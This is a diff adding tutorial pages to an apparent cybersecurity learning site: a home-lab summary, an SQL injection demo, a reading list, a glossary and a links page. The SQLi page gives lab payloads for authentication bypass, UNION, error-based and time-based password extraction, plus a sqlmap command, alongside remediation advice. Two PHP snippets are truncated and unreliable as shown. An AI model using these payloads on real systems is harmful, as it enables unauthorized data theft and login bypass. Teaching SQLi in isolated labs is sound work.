+* $ M_s $ = Monitoring stability
+* $ N_c $ = Number of concurrent VMs
+
+**Goal:** Keep $ E $ high by balancing performance and monitoring accuracy.
+
+## Optional Add-ons
+
+* **PfSense** – Add a firewall for network segmentation
+* **Cloud Integration** – Simulate AWS or Azure security labs
+* **ELK Stack** – Build your own SIEM from scratch
+* **Volatility / Autopsy** – Practice memory and disk forensics
+
+## Final Lab Layout Summary
+
+```mermaid
+graph TD
+ subgraph "Cyber Lab Network"
+ A[Kali Linux - Attacker]
+ B[Metasploitable 2 - Target]
+ C[Security Onion - IDS]
+ A <--> B
+ B <--> C
+ A <--> C
+ end
+```
+
+Your cybersecurity playground is now ready! You can start exploring penetration testing, exploit development, and network defense — all within a **secure virtual ecosystem**.
+
+## Next Steps
+
+* Build a **Penetration Testing Project** using your Kali + Metasploitable setup
+* Integrate **Splunk** or **Wazuh** for additional SIEM insights
+* Practice **Incident Response** with Security Onion and TheHive
\ No newline at end of file
diff --git a/docs/cybersecurity/projects/sql-injection-demo.mdx b/docs/cybersecurity/projects/sql-injection-demo.mdx
index 0d399cd..51a62c0 100644
--- a/docs/cybersecurity/projects/sql-injection-demo.mdx
+++ b/docs/cybersecurity/projects/sql-injection-demo.mdx
@@ -1,3 +1,227 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "SQL Injection Demo"
+description: "A hands-on, lab-safe demonstration of SQL Injection: types, detection techniques, exploitation in a controlled lab, and robust remediation patterns (prepared statements, least privilege, input validation)."
+tags: [sql-injection, web-security, lab, sqli, injection, demo]
+---
-
\ No newline at end of file
+**SQL Injection (SQLi)** is a class of vulnerability where untrusted input is interpreted as part of a database query. It can allow attackers to read, modify, or delete data, bypass authentication, or (in extreme cases) execute commands on the server.
+
+This page walks you through a **safe, educational demo** — focused on **how SQLi works**, **how to test it in a controlled lab**, and **how to fix it properly**. Every example here is intended for *local testing* (DVWA, WebGoat, or your own intentionally vulnerable app). Do **not** run these techniques against third-party systems.
+
+:::warning Legal & Ethical Notice
+Only perform SQL injection testing on systems you own or have **explicit written permission** to test. Unauthorized testing is illegal and unethical and can cause real damage.
+:::
+
+## Quick Overview — Attack Flow
+
+```mermaid
+flowchart LR
+ A[User Input - untrusted] --> B[Application concatenates input into SQL]
+ B --> C[Database executes crafted SQL]
+ C --> D[Attacker observes results or impact]
+ D --> E[Exploit: data exfiltration / auth bypass / data manipulation]
+```
+
+## Types of SQL Injection (short)
+
+* **Error-based** — causes the DB to return error messages that leak data.
+* **Union-based** — use `UNION SELECT` to append attacker results to legitimate query results.
+* **Boolean-based (Blind)** — infer data by observing true/false responses.
+* **Time-based (Blind)** — infer data by forcing DB to delay responses (e.g., `SLEEP()`), useful when output is not visible.
+
+## Lab Setup (what you should use)
+
+Use one of these safe environments:
+
+* **DVWA (Damn Vulnerable Web App)** — has SQLi labs.
+* **WebGoat** — practice vulnerable patterns.
+* **A local intentionally vulnerable app** — e.g., a small PHP/MySQL demo running in a VM isolated from the Internet.
+
+Network: ensure VMs are on an **internal** or **host-only** network so no external machines are exposed.
+
+## Vulnerable Example (PHP — DO NOT USE IN PRODUCTION)
+
+This tiny example shows a classic vulnerable pattern (string concatenation into SQL):
+
+```php title="vulnerable.php"
+// (do NOT deploy publicly)
+query($sql);
+$row = $stmt->fetch(PDO::FETCH_ASSOC);
+echo "User: " . htmlspecialchars($row['username']);
+?>
+```
+
+**Why it's vulnerable:** `$_GET['id']` is inserted directly into SQL — an attacker can send `?id=1 OR 1=1` to change query logic.
+
+## Demo Payload Examples (Lab Only)
+
+### 1) Authentication bypass (simple)
+
+```
+' OR '1'='1' --
+```
+
+If the application concatenates this into `WHERE username = '...' AND password = '...'`, it can make the WHERE always true.
+
+### 2) Union-based data extraction (example)
+
+```
+' UNION SELECT null, database(), user() --
+```
+
+Used when query columns are known or guessed; appends results from attacker SELECT.
+
+### 3) Error-based leak (example)
+
+```
+' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)a) --
+```
+
+Complex — forces DB error that may include data in an error message (depends on DB & settings).
+
+### 4) Time-based blind (MySQL)
+
+```
+' OR IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0) --
+```
+
+If the response is delayed, the first character is `'a'`. Repeat to extract full strings.
+
+## Detecting SQLi (Safe methods)
+
+1. **Manual input tests (in lab):**
+
+ * Input: `'` or `"' OR '1'='1` and watch for errors or changed behavior.
+2. **Observe application responses:**
+
+ * Different page content, errors, or delays (time-based) are indicators.
+3. **Use controlled automated testing carefully:**
+
+ * Tools like `sqlmap` can automate exploitation — use **only in lab** with `--batch` if preferred.
+ * Example (lab only):
+
+ ```bash
+ sqlmap -u "http://localhost/vuln.php?id=1" --batch --level=2 --risk=1
+ ```
+ * **Warning:** sqlmap can be noisy and destructive if options like `--os-shell` or `--os-pwn` are used. Avoid those.
+
+## Step-by-step Demo (Safe, educational)
+
+**Goal:** Show an authentication bypass and then fix the app.
+
+1. Start your vulnerable app (e.g., DVWA low mode or the `vulnerable.php` above).
+2. Visit the login or query page and enter an injection payload: `' OR '1'='1' --`. Observe login success or change.
+3. Try a `UNION SELECT` where applicable to list database info (table names) — use small column counts first (e.g., `UNION SELECT 1,2` to see how many columns the original query expects).
+4. Use time-based injection to practice blind extraction — measure response times.
+5. Record findings and then **apply fixes** (see remediation below) and re-test.
+
+## Fixing SQL Injection — Secure Patterns
+
+### 1) Prepared Statements / Parameterized Queries
+
+**PHP (PDO) — safe rewrite of vulnerable example:**
+
+```php title="safe.php"
+ PDO::ERRMODE_EXCEPTION,
+]);
+$id = $_GET['id'];
+$stmt = $pdo->prepare('SELECT username, email FROM users WHERE id = :id');
+$stmt->execute([':id' => $id]);
+$row = $stmt->fetch(PDO::FETCH_ASSOC);
+echo "User: " . htmlspecialchars($row['username']);
+?>
+```
+
+**Node.js (mysql2) example:**
+
+```js title="safe.js"
+const mysql = require('mysql2/promise');
+const pool = mysql.createPool({ host: '127.0.0.1', user: 'user', database: 'test' });
+
+app.get('/user', async (req, res) => {
+ const id = req.query.id;
+ const [rows] = await pool.execute('SELECT username, email FROM users WHERE id = ?', [id]);
+ res.send(`User: ${escapeHtml(rows[0].username)}`);
+});
+```
+
+**Why prepared statements work:** The DB engine treats the SQL text and parameters separately, so input can't change query structure.
+
+### 2) Principle of Least Privilege (DB user)
+
+* App DB user should have minimal permissions (e.g., `SELECT`, `INSERT` only where required).
+* Never connect as the DB admin (root).
+
+**Example:** create a limited user:
+
+```sql
+CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'strongpassword';
+GRANT SELECT, INSERT, UPDATE ON myappdb.* TO 'appuser'@'localhost';
+FLUSH PRIVILEGES;
+```
+
+### 3) Input Validation & Output Encoding
+
+* Validate types (numbers, dates) on server side.
+* Use allow-lists (whitelists) not block-lists.
+* Encode output in HTML to prevent XSS when showing DB values.
+
+### 4) Use ORMs Safely
+
+* ORMs often parameterize queries for you. Learn how your ORM constructs queries and avoid `raw` SQL when possible.
+* Example (Sequelize):
+
+```js
+User.findOne({ where: { id: req.query.id } });
+```
+
+## Logging & Monitoring
+
+* Log suspicious inputs and failed queries (redact sensitive data).
+* Monitor for excessive requests that match injection patterns or cause repeated DB errors.
+* Use WAF rules (e.g., ModSecurity) as an additional layer — not a replacement for secure code.
+
+## Risk Prioritization (simple formula)
+
+When prioritizing a found SQLi vulnerability, consider:
+
+$$
+Risk = Impact \times Exploitability
+$$
+
+* **Impact:** 0..1 (data sensitivity, ability to modify/delete, auth bypass)
+* **Exploitability:** 0..1 (easy blind/visible, requires auth, network access)
+
+If `Risk > 0.7` treat as high priority.
+
+## Practical Remediation Checklist
+
+* [ ] Replace all string-concatenated SQL with prepared statements.
+* [ ] Enforce server-side input validation and type checks.
+* [ ] Use least-privilege DB accounts.
+* [ ] Add logging and alerts for suspicious query patterns.
+* [ ] Test fixes by re-running safe scans in lab environment.
+* [ ] Use automated CI tests that assert SQLi defenses for new code (unit/integration tests).
+
+## Further Practice Exercises (Lab)
+
+1. **Column discovery with UNION** — use `UNION SELECT` with incremental column counts to find the right number of columns, then extract a simple string column.
+2. **Blind extraction** — write a small script to automate boolean/time-based extraction of a single character from a target string (lab only).
+3. **Secure migration** — convert a vulnerable route to prepared statements, demonstrate fix, and show that previous payloads no longer work.
+4. **Use sqlmap locally** — run `sqlmap` against your local DVWA instance with `--batch --risk=1 --level=1` and review findings. **Do not** use aggressive options.
+
+## Resources & References
+
+* OWASP SQL Injection Cheat Sheet — a practical reference.
+* DVWA / WebGoat — vulnerable apps for practice.
+* sqlmap documentation — automated testing tool (use responsibly).
+
+## Final Notes
+
+SQL Injection remains one of the oldest — and most impactful — web vulnerabilities. The cure is straightforward but requires discipline: **parameterize queries, validate input, and follow least privilege**. Practice detection and remediation in isolated labs until secure patterns become second nature.
\ No newline at end of file
diff --git a/docs/cybersecurity/resources/books-and-courses.mdx b/docs/cybersecurity/resources/books-and-courses.mdx
index 0d399cd..61e11d6 100644
--- a/docs/cybersecurity/resources/books-and-courses.mdx
+++ b/docs/cybersecurity/resources/books-and-courses.mdx
@@ -1,3 +1,177 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Books and Courses"
+description: "Curated list of books, courses, platforms, and learning paths for cybersecurity learners — from beginners to advanced practitioners. Includes study plans, lab resources, and ethics reminders."
+sidebar_label: "Books & Courses"
+tags: [resources, books, courses, learning-path, study-plan, cybersecurity]
+---
-
\ No newline at end of file
+This page collects **high-quality, practical books, online courses, and learning platforms** I recommend for building real-world cybersecurity skills. The list is organized by **level** and **role**, with short notes on *why* each resource helps and how to use it inside your lab or study plan.
+
+:::warning Ethics first
+Use these resources to learn defensively and legally. Don’t practice offensive techniques on targets you don’t own or aren’t authorized to test.
+:::
+
+## How to pick resources
+
+Use this simple formula to pick study time and intensity:
+
+$$
+\text{Total\_Hours} = \text{Weeks} \times \text{Hours\_per\_Week}
+$$
+
+Example: a 12-week study block at 8 hours/week gives $(12 \times 8 = 96)$ hours — enough to complete 1–2 intermediate courses plus hands-on labs.
+
+## Beginner — foundations (skills, 1–3 months)
+
+### Books
+* **The Web Application Hacker's Handbook** — excellent for practical web security fundamentals and payload mindset.
+* **Hacking: The Art of Exploitation** — core systems and exploitation concepts with hands-on C examples (good for thinking like an attacker).
+* **Practical Packet Analysis** — short book to learn packet capture basics (Wireshark/tcpdump).
+
+### Courses & Platforms
+* **TryHackMe (Beginner Paths)** — guided, hands-on rooms for absolute beginners (networking, web, Linux basics).
+* **Coursera / edX** — “Introduction to Cybersecurity” or vendor-backed beginner certificates (IBM, Google, etc.).
+* **Udemy** — beginner-friendly courses like “Complete Cyber Security Course” (look for high-rated instructors such as Nathan House).
+
+### How to use them
+* Read one book while completing 2–3 TryHackMe beginner modules.
+* Build a lab (Kali + vulnerable VM) and practice simple tasks: scanning, packet capture, and a basic SQLi lab.
+
+## Intermediate — tooling & practice (3–6 months)
+
+### Books
+* **Metasploit: The Penetration Tester’s Guide** — practical exploitation workflows using Metasploit.
+* **Practical Malware Analysis** — great for getting started with dynamic/static malware analysis (laboratory-focused).
+* **The Practice of Network Security Monitoring** — for blue team skills: detection and monitoring.
+
+### Courses & Platforms
+* **TryHackMe (Intermediate / Offensive Paths)** — CTF-style labs and structured paths for pentesting basics.
+* **Hack The Box (HTB)** — hands-on vulnerable machines, great for practicing enumeration & exploitation.
+* **Offensive Security (PWK / OSCP)** — if you want a rigorous, hands-on pentesting course (lab-heavy).
+* **Pluralsight / LinkedIn Learning** — targeted courses for specific OS or stack skills (Windows internals, Linux hardening).
+
+### How to use them
+* Pair a book chapter with a targeted lab (e.g., read Metasploit chapter → exploit a Metasploitable VM).
+* Aim to solve 1 HTB machine per week and keep a writeup journal.
+
+## Advanced & Specialization (6+ months)
+
+### Books
+* **Applied Cryptography** — deep dive into cryptographic primitives and design (theory + practice).
+* **Rootkits & Bootkits** (or vendor advanced titles) — for deep OS internals & persistence techniques.
+* Vendor and SANS books on advanced DFIR, forensics, and exploit dev.
+
+### Courses & Platforms
+* **Offensive Security — OSCP → OSCE (advanced)** — exam and lab-focused progression for exploit development and deep pentesting.
+* **SANS Institute** — high-quality, high-cost courses on DFIR, ICS/SCADA, advanced incident response.
+* **eLearnSecurity / Pentester Academy** — advanced offensive/defensive specializations.
+* **Cloud security courses** (AWS/Azure/GCP security tracks) — for cloud-native attack/defense.
+
+### How to use them
+* Combine advanced reading with long, timed lab exercises (e.g., multi-week exploit chains, red-team scenarios).
+* Contribute to writeups, open-source tooling, or research to deepen mastery.
+
+## Practical, role-focused learning paths
+
+```mermaid
+flowchart LR
+ A[Foundations] --> B[Pentesting Path]
+ A --> C[Blue Team Path]
+ A --> D[Forensics/DFIR Path]
+ B --> B1[OSCP / HTB / Metasploit]
+ C --> C1[Splunk / Security Onion / ELK]
+ D --> D1[Volatility / Autopsy / Malware Analysis]
+```
+
+* **Pentester**: Foundations → Nmap, Burp, Metasploit → HTB/OSCP → Advanced exploit dev.
+* **Blue team / SOC analyst**: Foundations → Splunk/ELK, Security Onion → Incident response & threat hunting.
+* **Forensics / Malware Analyst**: Foundations → Autopsy & Volatility → dynamic malware analysis / sandboxing.
+
+## Recommended hands-on platforms & labs
+
+* **TryHackMe** — excellent guided beginner → intermediate paths.
+* **Hack The Box** — real-world machine practice, scalable difficulty.
+* **VulnHub / Metasploitable** — downloadable vulnerable VMs for offline labs.
+* **RangeForce / Immersive Labs** — scenario-based SOC training (team/enterprise focus).
+* **Cuckoo Sandbox / Any.run** — for safe malware execution and observation.
+
+## Courses & Certificates — which to choose
+
+* **Entry-level / career-starters**: Google Cybersecurity Certificate, IBM Cybersecurity Analyst (Coursera), CompTIA Security+.
+* **Hands-on offensive**: Offensive Security PWK → OSCP (laboratory and exam).
+* **Hands-on defensive**: Splunk Fundamentals + Splunk certifications; Elastic/Kibana training; Security Onion courses.
+* **Management / governance**: CISSP (broad), CISM (management-focused).
+
+:::tip
+Certifications support hiring and credibility — but practical labs and documented projects (HTB writeups, GitHub repos, blog posts) are often *more convincing* in job interviews.
+:::
+
+## Study plan — 12-week sample (balanced)
+
+```mermaid
+gantt
+ dateFormat YYYY-MM-DD
+ title 12-week Cybersecurity Plan (10 h/wk)
+ section Foundations
+ Week 0 - Setup & Tooling :a0, 2025-11-03, 3d
+ Week 1 - Networking & Linux :a1, 2025-11-06, 7d
+ Week 2 - Web App Security Basics :a2, 2025-11-13, 7d
+ section Offensive Track
+ Week 3 - Recon & Scanning :a3, 2025-11-20, 7d
+ Week 4 - Web Vulnerabilities :a4, 2025-11-27, 7d
+ Week 5 - Exploitation & Metasploit:a5, 2025-12-04, 7d
+ Week 6 - Passwords & Cracking :a6, 2025-12-11, 7d
+ section Defensive Track
+ Week 7 - Network Analysis & Sniffing:a7, 2025-12-18, 7d
+ Week 8 - Monitoring & SIEM :a8, 2025-12-25, 7d
+ Week 9 - Forensics & Memory :a9, 2026-01-01, 7d
+ section Integration & Projects
+ Week 10 - Full Lab Exercise :a10, 2026-01-08, 7d
+ Week 11 - Report & Remediation :a11, 2026-01-15, 7d
+ Week 12 - Portfolio & Next Steps :a12, 2026-01-22, 7d
+```
+
+### Weeks 1–4 (Foundations)
+
+* Read a foundational book (e.g., *Web App Hacker’s Handbook* chapter excerpts).
+* Complete TryHackMe beginner path (networking + web basics).
+* 6–8 hours/week hands-on.
+
+### Weeks 5–8 (Tools & Practice)
+
+* Finish a focused course (Burp / Nmap + Web labs).
+* Solve 6 HTB/THM machines (one per 3–4 days).
+* Start a lab notebook / writeups.
+
+### Weeks 9–12 (Project & Report)
+
+* Pick a target VM → run a full pentest (recon → exploit → post-exploit) in lab.
+* Produce a short report and remediation recommendations.
+* Prepare for a certification exam if desired.
+
+## Free vs Paid — what to invest in
+
+* **Free:** TryHackMe (many free rooms), VulnHub, OWASP resources, YouTube instructors (John Hammond, LiveOverflow), GitHub repos, OWASP Juice Shop.
+* **Paid & high-value:** OSCP (lab depth), SANS (enterprise-grade), Pluralsight/OffSec courses for structured progression, books from reputable publishers (No Starch, O’Reilly).
+* **Tip:** Start with free resources; invest in one paid, lab-heavy course (OSCP or equivalent) when you’re ready to commit time.
+
+## Continuous learning — podcasts, newsletters, and blogs
+
+* **Podcasts:** *Darknet Diaries*, *Risky Business*, *Security Weekly* — good for threat context and stories.
+* **Newsletters / blogs:** SANS Internet Storm Center, Krebs on Security, Cloud provider security blogs (AWS, Microsoft) for cloud-focused learners.
+* **Twitter / X and Mastodon:** follow respected practitioners for short tips and links to research.
+
+## How to keep momentum (practical tips)
+
+* Build a **weekly habit** (2–3 focused sessions of 60–120 minutes).
+* Maintain a **lab notebook** with timestamps, commands, and lessons learned.
+* Publish **1 writeup every month** (HTB box, lab exercise, or vulnerability replication).
+* Join local meetups and online communities — accountability speeds learning.
+
+## Quick annotated reading list (one-line why)
+
+* *The Web Application Hacker’s Handbook* — web app attack and defense best practices.
+* *Hacking: The Art of Exploitation* — systems fundamentals and exploit mindset.
+* *Practical Malware Analysis* — malware triage & sandboxing techniques.
+* *Metasploit: The Penetration Tester’s Guide* — exploitable modules & workflow.
+* *The Practice of Network Security Monitoring* — building the blue team muscle.
diff --git a/docs/cybersecurity/resources/glossary.mdx b/docs/cybersecurity/resources/glossary.mdx
index 0d399cd..40ee8a6 100644
--- a/docs/cybersecurity/resources/glossary.mdx
+++ b/docs/cybersecurity/resources/glossary.mdx
@@ -1,3 +1,185 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Cybersecurity Glossary"
+description: "Concise, practical definitions of common cybersecurity terms — useful as a quick reference for learners, practitioners, and documentation."
+tags: [glossary, cybersecurity, reference, terms]
+---
-
\ No newline at end of file
+This glossary gathers **clear, user-friendly definitions** of key cybersecurity terms you’ll encounter in these tutorials and labs. Use it as a quick reference while you’re learning tools, running labs, or writing reports.
+
+:::warning
+This glossary explains concepts for education and defensive practice. Do **not** use this information for malicious activities. Always act ethically and follow the law.
+:::
+
+## A — C
+
+**APT (Advanced Persistent Threat):** A long-term, targeted intrusion campaign run by a capable adversary (often nation-state or organized group) that maintains stealthy presence to exfiltrate data or observe targets.
+
+**Authentication:** Process that verifies a user or system identity (e.g., password, token, biometrics).
+
+**Authorization:** Determines what authenticated users are allowed to do (permissions and access control).
+
+**AV / Antivirus:** Software that detects, quarantines, or removes known malware using signature and heuristic techniques.
+
+**CA (Certificate Authority):** Trusted organization that issues public key certificates used in TLS/PKI to validate identities.
+
+**CISA / CISSP / (other certs):** Common certification acronyms you might see. (Examples in the certification guide explain scope and prerequisites.)
+
+**CIA Triad**
+Core security properties: **Confidentiality**, **Integrity**, **Availability**.
+
+```mermaid
+graph LR
+ C[Confidentiality] --> I[Integrity]
+ I --> A[Availability]
+ A --> C
+```
+
+**CISA / CISM / CISSP:** Professional certifications for security practitioners (governance, management, architecture).
+
+**Cipher / Encryption:** Algorithm that transforms plaintext into ciphertext to prevent unauthorized reading. Decryption is the reverse operation.
+
+**CVE (Common Vulnerabilities and Exposures):** A unique identifier for a publicly known vulnerability (e.g., CVE-2024-XXXXX).
+
+**CVSS (Common Vulnerability Scoring System):** Numeric system (0–10) used to express the severity of vulnerabilities. See the Certification Guide and vulnerability scanning tips for how scores are used.
+
+## D — F
+
+**DDoS (Distributed Denial of Service):** Attack that overwhelms a service with traffic from many sources to cause downtime.
+
+**Detection vs Prevention:**
+
+|Detection|Prevention|
+|-----|-----|
+|identifying malicious activity (IDS, SIEM). | blocking or mitigating an attack before impact (IPS, firewalls, WAF). |
+
+**Digital Forensics:** Process of collecting, preserving, analyzing digital evidence (disk, memory, logs) for incident response and legal processes.
+
+**DMZ (Demilitarized Zone):** Network segment that exposes services to the Internet while keeping internal networks protected.
+
+**EDR (Endpoint Detection & Response):** Agent-based technology that monitors endpoints for suspicious behavior and supports remediation.
+
+**Exploit:** Code or sequence that takes advantage of a vulnerability to cause unintended behavior (e.g., RCE, auth bypass).
+
+**Firewall:** Network or host device that controls traffic flow based on rules (packet filtering, stateful inspection).
+
+## G — I
+
+**Hash / Hashing:** One-way function that maps input to a fixed-size output. Common uses: integrity checks and password storage (with salt).
+
+* Example property: small input change → large hash change.
+* Formula (conceptual):
+ $$
+ h = H(x)
+ $$
+ where $(H)$ is the hash function, $(x)$ is input, and $(h)$ the digest.
+
+**Honeypot / Honeytoken:** Deceptive resource designed to attract attackers so defenders can observe techniques and collect Indicators of Compromise (IOCs).
+
+**HSM (Hardware Security Module):** Specialized device for secure key storage and cryptographic operations.
+
+**IAAS / PAAS / SAAS**
+Cloud service models: Infrastructure, Platform, Software as a Service. Each has shared-security responsibilities.
+
+**IDS / IPS**
+
+* **IDS (Intrusion Detection System)**: monitors and alerts on suspicious traffic.
+* **IPS (Intrusion Prevention System)**: can block or drop traffic inline.
+
+**Incident Response (IR):** Structured process for detecting, containing, eradicating, recovering from, and learning after a security incident.
+
+**IOC (Indicator of Compromise):** Artefacts (file hashes, IPs, domains) that indicate a system has been compromised.
+
+## J — L
+
+**Least Privilege**
+Security principle: grant the minimum privileges necessary for tasks or services.
+
+**Lateral Movement:** Act by which an attacker moves through a network from an initial foothold to higher-value systems.
+
+
+## M — O
+
+**MFA (Multi-Factor Authentication):** Authentication requiring two or more independent credentials (something you know, have, or are).
+
+**MITM (Man-in-the-Middle):** Attack where an adversary intercepts and potentially alters communications between two parties.
+
+**NIST:** National Institute of Standards and Technology — publishes widely used security frameworks and guidance (e.g., NIST IR lifecycle).
+
+**Network Sniffing / Packet Capture:** Collecting raw network packets (tcpdump, Wireshark) for analysis. Useful for debugging, forensics, and detecting exfiltration.
+
+**Non-repudiation:** Guarantee that an actor cannot deny a previous action (often addressed with digital signatures).
+
+**Obfuscation:** Technique to make code or data harder to analyze (used legitimately and by malware authors).
+
+## P — R
+
+**Patch / Vulnerability Management:** Process to identify, prioritize, and remediate software flaws (scanning → testing → patch deployment → verification).
+
+**Penetration Testing (Pentest):** Authorized simulated attack to evaluate security posture and find vulnerabilities before adversaries do.
+
+**Phishing / Spear Phishing:** Social-engineering attacks via email or messages; spear-phishing targets specific individuals with tailored content.
+
+**PKI (Public Key Infrastructure):** System for issuing, managing, and revoking digital certificates used in TLS and encrypted channels.
+
+**Privilege Escalation:** Techniques to gain higher permissions on a host (vertical) or broader access across systems (horizontal).
+
+**Proof-of-Concept (PoC):** A minimal demonstration that a vulnerability is exploitable; used in testing and reporting.
+
+**RAT (Remote Access Trojan):** Malware that provides remote, persistent control of a compromised host.
+
+**RDP (Remote Desktop Protocol):** Microsoft’s remote desktop protocol — common target for brute force and credential theft if exposed.
+
+## S — U
+
+**Salt (in password hashing):** Random data added to a password before hashing to prevent precomputed attacks (rainbow tables).
+
+**SCADA / ICS:** Industrial control systems with specialized security considerations (OT security).
+
+**SIEM (Security Information and Event Management):** Platform that aggregates logs, correlates events, and enables alerting and investigation (e.g., Splunk, ELK).
+
+**SLA (Service-Level Agreement):** Contractual uptime and performance guarantees that influence incident response priorities.
+
+**SOC (Security Operations Center):** Team and platform that monitor security telemetry, triage alerts, and coordinate response.
+
+**SQLi (SQL Injection):** Web vulnerability where untrusted input is executed in a database query. Lab demos demonstrate detection and fixes (use parameterized queries).
+
+**SSO / OAuth / SAML:** Authentication / federated identity standards and flows used for single sign-on and delegated access.
+
+**Supply Chain Attack:** Compromise that leverages software dependencies, update channels, or third-party services to reach targets.
+
+**Threat Intel:** Information about adversary capabilities, infrastructure, and motives used to prioritize defenses and detection.
+
+**TTP (Tactics, Techniques, Procedures):** Attacker behavior models used in threat hunting (e.g., MITRE ATT&CK).
+
+**TLS / SSL:** Protocols that provide encrypted channels for network communication. TLS has largely superseded SSL.
+
+## V — Z
+
+**Vulnerability:** A weakness in hardware, software, or configuration that can be exploited to cause harm.
+
+**Vulnerability Disclosure:** Process and policy for reporting, verifying, and remediating security flaws (coordinated disclosure).
+
+**WAF (Web Application Firewall):** A protective layer that filters and monitors HTTP(s) traffic to web applications, often blocking common attacks (e.g., SQLi, XSS).
+
+**XSS (Cross-Site Scripting):** Web vulnerability where attacker-supplied script executes in victims’ browsers. Types: reflected, stored, DOM-based.
+
+**Zero Trust:** Security model that assumes no implicit trust; verify everything (identity, device, context) before granting access.
+
+## Quick Reference Table (Shortcuts)
+
+| Term | Quick Definition |
+| ------- | -------------------------------------- |
+| CVE | Public vulnerability ID |
+| CVSS | Vulnerability severity score |
+| IOC | Indicator of Compromise |
+| SIEM | Log aggregation & correlation platform |
+| IDS/IPS | Detect / Prevent network threats |
+| MFA | Multi-factor authentication |
+| PKI | Certificate & key management system |
+
+
+## How to Use This Glossary
+
+* Bookmark this page while studying tools and labs.
+* Link terms in your notes to these definitions for consistent language in reports.
+* If you need a deeper dive on any term, use the tutorial index — many glossary items have full sections (e.g., **SIEM** → Splunk Overview; **Memory Forensics** → Volatility).
\ No newline at end of file
diff --git a/docs/cybersecurity/resources/links.mdx b/docs/cybersecurity/resources/links.mdx
index 0d399cd..a8e1545 100644
--- a/docs/cybersecurity/resources/links.mdx
+++ b/docs/cybersecurity/resources/links.mdx
@@ -1,3 +1,141 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Resources & Useful Links"
+sidebar_label: Resources & Links
+description: "A handpicked collection of trusted cybersecurity resources, labs, platforms, research sites, blogs, communities, and official documentation for both beginners and professionals."
+tags: [resources, links, cybersecurity, blogs, labs, learning, community]
+---
-
\ No newline at end of file
+This page lists **curated links** to the most trusted resources—tools, communities, blogs, labs, and documentation to help you **stay updated, practice ethically, and build expertise** in cybersecurity.
+
+:::warning
+Always verify any downloaded tools or scripts from third-party sources. Stick to **official documentation and trusted repositories** to avoid malicious versions.
+:::
+
+## Official Documentation & Standards
+
+| Resource | Description |
+|-----------|--------------|
+| [OWASP Foundation](https://owasp.org) | Community-driven web security standards and projects like OWASP Top 10. |
+| [MITRE ATT&CK Framework](https://attack.mitre.org) | A comprehensive matrix of adversarial tactics and techniques used in real-world attacks. |
+| [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework) | Best practices and standards for managing cybersecurity risks. |
+| [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks) | Secure configuration guidelines for systems, networks, and cloud environments. |
+| [ISO/IEC 27001](https://www.iso.org/isoiec-27001-information-security.html) | International standard for information security management systems (ISMS). |
+
+## Hands-on Learning & Labs
+
+| Platform | Description |
+|-----------|--------------|
+| [TryHackMe](https://tryhackme.com) | Guided, beginner-friendly virtual rooms for learning cybersecurity hands-on. |
+| [Hack The Box](https://www.hackthebox.com) | Real-world penetration testing and CTF challenges for intermediate/advanced learners. |
+| [VulnHub](https://www.vulnhub.com) | Downloadable vulnerable machines for local practice. |
+| [OverTheWire](https://overthewire.org) | Classic wargame-based cybersecurity puzzles (e.g., Bandit, Narnia, Leviathan). |
+| [Root-Me](https://www.root-me.org) | Challenges across web, network, crypto, and reverse engineering. |
+| [PortSwigger Academy](https://portswigger.net/web-security) | Free, in-depth Burp Suite and web app security labs. |
+| [RangeForce](https://www.rangeforce.com) | Professional cyber range for team-based defensive exercises. |
+
+## Knowledge Bases & Learning Platforms
+
+| Platform | Description |
+|-----------|--------------|
+| [Cybrary](https://www.cybrary.it) | Structured cybersecurity courses and career paths. |
+| [Coursera Cybersecurity Specializations](https://www.coursera.org/browse/information-technology/cybersecurity) | Vendor and university-backed cybersecurity courses. |
+| [edX Cybersecurity](https://www.edx.org/learn/cybersecurity) | Free and paid courses from leading institutions. |
+| [OpenSecurityTraining2](https://opensecuritytraining.info) | Free in-depth training materials on topics like memory forensics and exploit dev. |
+| [YouTube - LiveOverflow](https://www.youtube.com/@LiveOverflow) | Great for visual learning through hack demos and exploit breakdowns. |
+| [John Hammond’s Channel](https://www.youtube.com/@JohnHammond010) | Walkthroughs, CTFs, and practical cybersecurity exercises. |
+
+## Security Tools & Frameworks
+
+| Tool | Link | Description |
+|------|------|--------------|
+| Metasploit | [https://www.metasploit.com](https://www.metasploit.com) | Industry-standard penetration testing framework. |
+| Wireshark | [https://www.wireshark.org](https://www.wireshark.org) | Network protocol analyzer for packet capture and analysis. |
+| Burp Suite | [https://portswigger.net/burp](https://portswigger.net/burp) | Web application penetration testing suite. |
+| OWASP ZAP | [https://www.zaproxy.org](https://www.zaproxy.org) | Open-source web application security scanner. |
+| Autopsy | [https://www.autopsy.com](https://www.autopsy.com) | Digital forensics platform for analyzing disks and files. |
+| Volatility | [https://www.volatilityfoundation.org](https://www.volatilityfoundation.org) | Memory analysis framework for incident response. |
+
+## Cybersecurity News & Threat Intelligence
+
+| Resource | Description |
+|-----------|--------------|
+| [The Hacker News](https://thehackernews.com) | Latest security news, vulnerabilities, and exploits. |
+| [Bleeping Computer](https://www.bleepingcomputer.com) | Cyber incidents and malware analysis reports. |
+| [Krebs on Security](https://krebsonsecurity.com) | In-depth articles by Brian Krebs on cybersecurity trends. |
+| [Dark Reading](https://www.darkreading.com) | Threat intelligence and security research news. |
+| [SANS Internet Storm Center](https://isc.sans.edu) | Daily logs, threat reports, and infosec news. |
+| [VirusTotal Intelligence](https://www.virustotal.com/gui/home/upload) | File and URL scanning for malware and suspicious behavior. |
+
+## Community & Collaboration
+
+| Platform | Description |
+|-----------|--------------|
+| [Reddit: r/cybersecurity](https://www.reddit.com/r/cybersecurity/) | Discussions, news, and advice from infosec professionals. |
+| [Infosec Discord Servers](https://discord.gg/tryhackme) | Active chat communities for TryHackMe, Hack The Box, and others. |
+| [LinkedIn Security Groups](https://www.linkedin.com/groups) | Networking with professionals and finding cybersecurity roles. |
+| [OWASP Local Chapters](https://owasp.org/chapters/) | Join a local OWASP chapter to connect with web security practitioners. |
